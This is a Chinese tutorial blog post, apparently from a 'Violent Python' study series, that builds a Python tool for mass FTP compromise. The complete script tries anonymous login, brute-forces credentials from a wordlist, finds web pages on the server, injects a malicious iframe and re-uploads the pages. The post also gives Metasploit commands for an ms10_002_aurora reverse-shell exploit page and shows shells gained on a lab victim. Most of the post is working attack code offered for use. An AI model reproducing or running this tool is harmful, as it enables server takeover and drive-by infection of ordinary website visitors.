Python编写渗透工具学习笔记二 | 0x02利用FTP与web批量抓肉鸡

0x02利用FTP与web批量抓肉鸡

脚本要实现的目标和思路:

先尝试匿名登录ftp,当匿名登录失败时再尝试用用户/密码爆破登录,登录成功后,脚本会搜索ftp中存在的页面,然后下载每个被找到的页面,并向其中注入恶意重定向代码,最后脚本会将被挂马的页面传回ftp服务器,这样任何存在该漏洞的电脑访问服务器的这个页面都会被黑掉。

如果这个ftp服务器还提供web服务的话,那么任何存在该漏洞的电脑访问这个web页面都会被黑掉。

环境:

  • Myftp允许匿名登录
  • ftp2不允许匿名登录
  • 登录用户 ftpuser
  • 密码 541766184

基础知识:

1

构建匿名ftp扫描器

实现思路:

  • ftp = ftplib.FTP(hostname)#创建FTP对象
  • ftp.login('anonymous', 'me@your.com')#登录ftp

annoLogin函数接收的参数是一个主机名并返回一个布尔值来描述该主机可不可以匿名登录ftp:该函数尝试建立一个匿名ftp连接,如果成功则返回true。如果出现异常就返回false

2

爆破ftp用户口令

  • 本次实验搭建的ftp
  • 登录用户 ftpuser
  • 密码 541766184

实现思路:

  • ftp = ftplib.FTP(ip)
  • ftp.login(user,pwd)

先创建好一个ftp用户名和密码的字典文件,格式是按照 用户名:密码,这样的格式,一行一个。然后写程序的时候逐行读取文件,并且利用冒号 : 来分割出用户名和密码,然后分别进行登录尝试。登录成功就返回用户名和密码的元祖,登录不成功就捕捉异常,防止程序提前退出,如果爆破失败就返回none元组。

3

在ftp服务器中搜索页面

实现思路:

测试ftp服务器是否提供web服务--检测是否有web页面文件即可

returnDefault函数输入的参数是一个ftp连接,返回一个它找到的页面的数组。利用nlst方法列出目录中的文件,然后我们通过一个if语句判断这个是不是web页面文件。具体代码如下。

找到了一个 index.html文件

4

在网页中加入恶意代码

实现思路:主要分两步,

  1. 构造好恶意页面
  2. 在被黑的页面中插入iframe使其重定向到攻击者的恶意页面中。

1.构造好恶意页面

这里我使用metasploit来构造恶意页面,这里选用ms10_002_aurora,这个漏洞利用代码和当年在“极光行动”中用来对付谷歌的利用代码极为类似.

http://10.10.10.128:8080/exploit上的页面会利用被重定向到它这里的浏览器中的漏洞,使之向我们提供一个反弹shell,令我们可以通过这个反弹shell来控制这台肉鸡

在msf中执行以下命令即可生成

use exploit/windows/browser/ms10_002_aurora
set payload windows/shell/reverse_tcp
set SRVHOST 10.10.10.128
set URIPATH /exploit
set LHOST 10.10.10.128
set LPORT 443
exploit

在这里我使用了10.10.10.1上的三个浏览器去访问这个页面都没有得到反弹shell,有可能是我这里的三个浏览器都不存在这个漏洞。

后来又换了一台虚拟机测试就可以了,效果图如下

在winxp上访问有写有恶意代码的链接

在攻击机上看到了显示有一个会话开启了

我们打开这个会话,可以看到我们确实是得到了一个shell

命令执行成功,多了一个hack目录

2.在被黑的页面中插入iframe使其重定向到攻击者的恶意页面中。

实现思路:给injectPage函数输入一个ftp连接,网页名和用于重定向的iframe字串

然后下载该网页的临时副本,接着它把重定向到我们而已服务器上的这个iframe添加到这个临时文件中。最后函数将被干扰的页面回传到被黑的ftp服务器上

我们查看一下我们

可以看到页面中确实被插入了我们的iframe网马

5

一整份完整的攻击代码

其中attack函数的输入参数是用户名、密码、主机ip和重定向的位置,该函数先用用户名和密码登录ftp服务器,然后脚本会搜索页面,脚本会下载每个被找到的页面,并向其中加入恶意重定向代码,最后脚本会将被挂马的页面传回ftp服务器,这样任何存在该漏洞的电脑访问web服务器都会被黑掉。

脚本会先尝试匿名登录,当匿名登录失败时才尝试用户密码登录。

执行演示一下

python 2massCompromise.py -H 10.10.10.1 -r http://10.10.10.128:8080/exploit -f userpass.txt

查看页面源码可以知道是注入成功了的。

然后我们用一台winxp模仿普通网民去访问这个页面

先登录进入这个ftp,然后访问这个index.html页面

攻击机kali这边也确实得到了winxp的一个shell,并且这里我执行了一下net user命令,说明这个shell确实是有用的。

6

工具完整代码

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time
#匿名登录扫描
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
          ' FTP Anonymous Logon Failed.'
        return False
#爆破ftp用户名和密码
def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
              ' FTP Logon Succeeded: '+userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
#返回ftp服务器中的页面数组
def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
            retList.append(fileName)
    return retList
#注入恶意代码
def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
#统领整个攻击过程
def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
#入口main函数
def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H <target host[s]> -r <redirect page>'+\
      '[-f <userpass file>]')
    parser.add_option('-H', dest='tgtHosts',\
      type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile',\
      type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect',\
      type='string',help='specify a redirection page')
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect
    #windows的cmd下不允许在命令中包含字符<
    #所以这里就直接输入重定向的页面地址然后再进行拼接
    redirect='<iframe src="'+redirect+'"></iframe>'
    print redirect
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
        elif passwdFile != None:
            (username, password) =\
              bruteLogin(tgtHost, passwdFile)
            if password != None:
                '[+] Using Creds: ' +\
                  username + '/' + password + ' to attack'
                attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2017-12-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏编程

小白爬虫之爬虫快跑,多进程和多线程

使用多线程时好像在目录切换的问题上存在问题,可以给线程加个锁试试 Hello 大家好!我又来了。 你是不是发现下载图片速度特别慢、难以忍受啊!对于这种问题 一般...

2127
来自专栏小白鼠

ZookeeperZNode基本命令四字命令SessionWatcherACLZookeeper集群Paxos算法ZAB协议Curator分布式锁

在Zookeeper中,ZNode可以分为持久节点和临时节点两类。所谓持久节点是指一旦这个ZNode被创建了,除非主动进行ZNode的移除操作,否则这个ZNod...

1153
来自专栏Java架构

Dubbo架构原理

Remoting:远程通讯,提供对多种NIO框架抽象封装,包括“同步转异步”和“请求-响应”模式的信息交换方式。

1953
来自专栏用户画像

Matlab 读写文件

一、读取文本文件 思路: 1、用fopen来打开一个文件句柄 2、用fgetl来获得文件中的一行,如果文件已经结束,fgetl会返回-1 3、用fclo...

623
来自专栏烂笔头

Python爬虫—破解JS加密的Cookie

目录[-] 前言 在GitHub上维护了一个代理池的项目,代理来源是抓取一些免费的代理发布网站。上午有个小哥告诉我说有个代理抓取接口不能用了,返回状态521...

6817
来自专栏随心DevOps

[实战篇] Python 运维中使用并发

今天从大哥手里接了一个需求: 验证一下新的 Docker 镜像仓库(Docker Registry)是否迁移成功了 简单粗暴的方法就是拿到老仓库中的镜像列表(I...

42712
来自专栏fixzd

redis系列:通过队列案例学习list命令

这一篇文章将讲述Redis中的list类型命令,同样也是通过demo来讲述,其他部分这里就不在赘述了。

3021
来自专栏决胜机器学习

《Redis设计与实现》读书笔记(十九) ——Redis客户端创建关闭及客户端总结

《Redis设计与实现》读书笔记(十九) ——Redis客户端创建关闭及客户端总结 (原创内容,转载请注明来源,谢谢) 一、客户端的创建于关闭 1、普通客户端...

4354
来自专栏SpringBoot 核心技术

SpringCloud组件 & 源码剖析:Eureka服务注册方式流程全面分析

在SpringCloud组件:Eureka服务注册是采用主机名还是IP地址?文章中我们讲到了服务注册的几种注册方式,那么这几种注册方式的源码是怎么实现的呢?我们...

871
来自专栏名山丶深处

springboot集成schedule(深度理解)

2375

扫码关注云+社区

领取腾讯云代金券